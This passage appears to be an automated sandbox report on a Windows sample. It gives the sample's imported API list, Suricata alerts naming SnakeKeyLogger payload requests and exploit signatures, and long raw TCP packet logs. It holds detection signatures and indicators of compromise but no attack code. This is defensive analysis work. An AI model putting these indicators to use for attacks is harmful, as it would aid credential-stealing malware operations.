gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-05T22:44:01.628694+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49709	172.217.23.110	443	TCP
2024-11-05T22:44:01.649860+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49710	172.217.23.110	443	TCP
2024-11-05T22:44:02.179350+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.5	49713	69.42.215.252	80	TCP
2024-11-05T22:44:02.858500+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49714	172.217.23.110	443	TCP
2024-11-05T22:44:02.922859+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49717	172.217.23.110	443	TCP
2024-11-05T22:44:04.183845+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49720	172.217.23.110	443	TCP
2024-11-05T22:44:04.350543+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49719	172.217.23.110	443	TCP
2024-11-05T22:44:05.913323+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49730	172.217.23.110	443	TCP
2024-11-05T22:44:05.914378+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49729	172.217.23.110	443	TCP
2024-11-05T22:44:07.150026+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49739	172.217.23.110	443	TCP
2024-11-05T22:44:07.518474+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49737	172.217.23.110	443	TCP
2024-11-05T22:44:08.546679+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49742	172.217.23.110	443	TCP
2024-11-05T22:44:08.546689+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49744	172.217.23.110	443	TCP
2024-11-05T22:44:09.915189+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49749	172.217.23.110	443	TCP
2024-11-05T22:44:09.928780+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49748	172.217.23.110	443	TCP
2024-11-05T22:44:11.154449+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49755	172.217.23.110	443	TCP
2024-11-05T22:44:11.161754+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49752	172.217.23.110	443	TCP
2024-11-05T22:44:12.372828+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49756	172.217.23.110	443	TCP
2024-11-05T22:44:12.416656+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49757	172.217.23.110	443	TCP
2024-11-05T22:44:12.916724+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.5	49761	TCP
2024-11-05T22:44:13.910408+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49768	172.217.23.110	443	TCP
2024-11-05T22:44:13.919118+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49767	172.217.23.110	443	TCP
2024-11-05T22:44:15.143859+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49773	172.217.23.110	443	TCP
2024-11-05T22:44:15.181515+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49775	172.217.23.110	443	TCP
2024-11-05T22:44:16.365874+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.5	49779	172.217.23.110	443	TCP
2024-11-05T22:44:51.206999+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.5	50050	TCP
2024-11-05T22:45:04.945202+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50128	13.107.246.45	443	TCP
2024-11-05T22:45:11.573177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50136	13.107.246.45	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 22:44:00.353770018 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:00.353802919 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:00.353868008 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:00.353976011 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:00.353996038 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:00.354044914 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:00.361464024 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:00.361476898 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:00.361645937 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:00.361658096 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.091991901 CET	49713	80	192.168.2.5	69.42.215.252
Nov 5, 2024 22:44:01.096822023 CET	80	49713	69.42.215.252	192.168.2.5
Nov 5, 2024 22:44:01.097198009 CET	49713	80	192.168.2.5	69.42.215.252
Nov 5, 2024 22:44:01.097198009 CET	49713	80	192.168.2.5	69.42.215.252
Nov 5, 2024 22:44:01.102220058 CET	80	49713	69.42.215.252	192.168.2.5
Nov 5, 2024 22:44:01.218763113 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.218976021 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.219485998 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.219595909 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.235836029 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.235976934 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.236471891 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.236607075 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.268414974 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.268429041 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.268625975 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.269056082 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.269495964 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.269511938 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.269714117 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.270137072 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.271656036 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.271775961 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.315330982 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.315361977 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.628694057 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.628829002 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.628838062 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.629245996 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.629363060 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.629389048 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.629492044 CET	443	49709	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.629517078 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.629882097 CET	49709	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.630121946 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.630152941 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.630237103 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.631268024 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.631288052 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.640409946 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:01.640444994 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:01.640805006 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:01.640994072 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:01.641006947 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:01.649859905 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.649983883 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.649992943 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.650087118 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.650087118 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.650115013 CET	443	49710	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.650213003 CET	49710	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.650734901 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:01.650763035 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:01.650857925 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:01.651443958 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.651458025 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:01.651529074 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.651820898 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:01.651835918 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:01.652081013 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:01.652091980 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.178385019 CET	80	49713	69.42.215.252	192.168.2.5
Nov 5, 2024 22:44:02.179349899 CET	49713	80	192.168.2.5	69.42.215.252
Nov 5, 2024 22:44:02.476134062 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.476207972 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.476878881 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.476927996 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.504342079 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.504355907 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.504575014 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.504628897 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.505331039 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.527940035 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.528024912 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.529021978 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.529074907 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.533309937 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.533389091 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.536128998 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.536194086 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.547333002 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.559240103 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.559257030 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.559602976 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.559664011 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.561885118 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.567038059 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.567053080 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.567101955 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.567118883 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.567254066 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.567311049 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.567719936 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.567783117 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.568181992 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.568600893 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.603338957 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.611332893 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.615331888 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.858480930 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.858545065 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.858558893 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.858647108 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.860022068 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.860054970 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.860173941 CET	443	49714	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.860225916 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.860239029 CET	49714	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.861135006 CET	49719	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.861169100 CET	443	49719	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.861289024 CET	49719	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.861794949 CET	49719	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.861807108 CET	443	49719	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.922883034 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.922960997 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.922981977 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.923019886 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.945941925 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.945986032 CET	443	49717	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.946058989 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.946082115 CET	49717	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.946602106 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.946624994 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.946702003 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.955291033 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:02.955303907 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:02.977087021 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.977127075 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.977154970 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.977174997 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.977185965 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.977210999 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.983453989 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.983484983 CET	443	49716	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.983545065 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.983557940 CET	49716	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.984375954 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.984400034 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:02.984477043 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.984637022 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:02.984647036 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.143178940 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.143224955 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.143253088 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.143269062 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.143294096 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.143307924 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.144545078 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.144576073 CET	443	49715	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.144625902 CET	49715	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.145102978 CET	49723	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.145143032 CET	443	49723	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.145581961 CET	49723	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.145817995 CET	49723	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.145828962 CET	443	49723	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.745871067 CET	443	49719	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.745930910 CET	49719	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.746624947 CET	443	49719	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.746681929 CET	49719	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.751276016 CET	49719	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.751285076 CET	443	49719	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.751533985 CET	443	49719	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.751586914 CET	49719	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.752005100 CET	49719	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.795332909 CET	443	49719	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.813184023 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.813256025 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.814264059 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.814342022 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.821039915 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.821046114 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.821417093 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.821470022 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.822073936 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:03.848289967 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.848371983 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.852083921 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.852092981 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.852298975 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:03.852349997 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.852792978 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:03.867328882 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:03.895339012 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.000710964 CET	443	49723	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.000821114 CET	49723	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:04.002737045 CET	49723	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:04.002748966 CET	443	49723	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.003011942 CET	443	49723	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.003097057 CET	49723	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:04.003926992 CET	49723	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:04.051327944 CET	443	49723	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.183857918 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:04.183931112 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:04.183945894 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:04.183998108 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:04.198226929 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:04.198307991 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:04.198558092 CET	443	49720	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:04.198623896 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:04.198640108 CET	49720	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:04.199596882 CET	49726	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:04.199609041 CET	443	49726	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:04.199817896 CET	49726	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:04.200134993 CET	49726	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:04.200140953 CET	443	49726	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:04.264560938 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.264607906 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.264631033 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:04.264642954 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.264655113 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:04.264703035 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:04.268825054 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:04.268856049 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.268965006 CET	443	49722	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:04.269023895 CET	49722	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:04.269032955 CET	49722	443	192.168.2.5	142.250.186.65
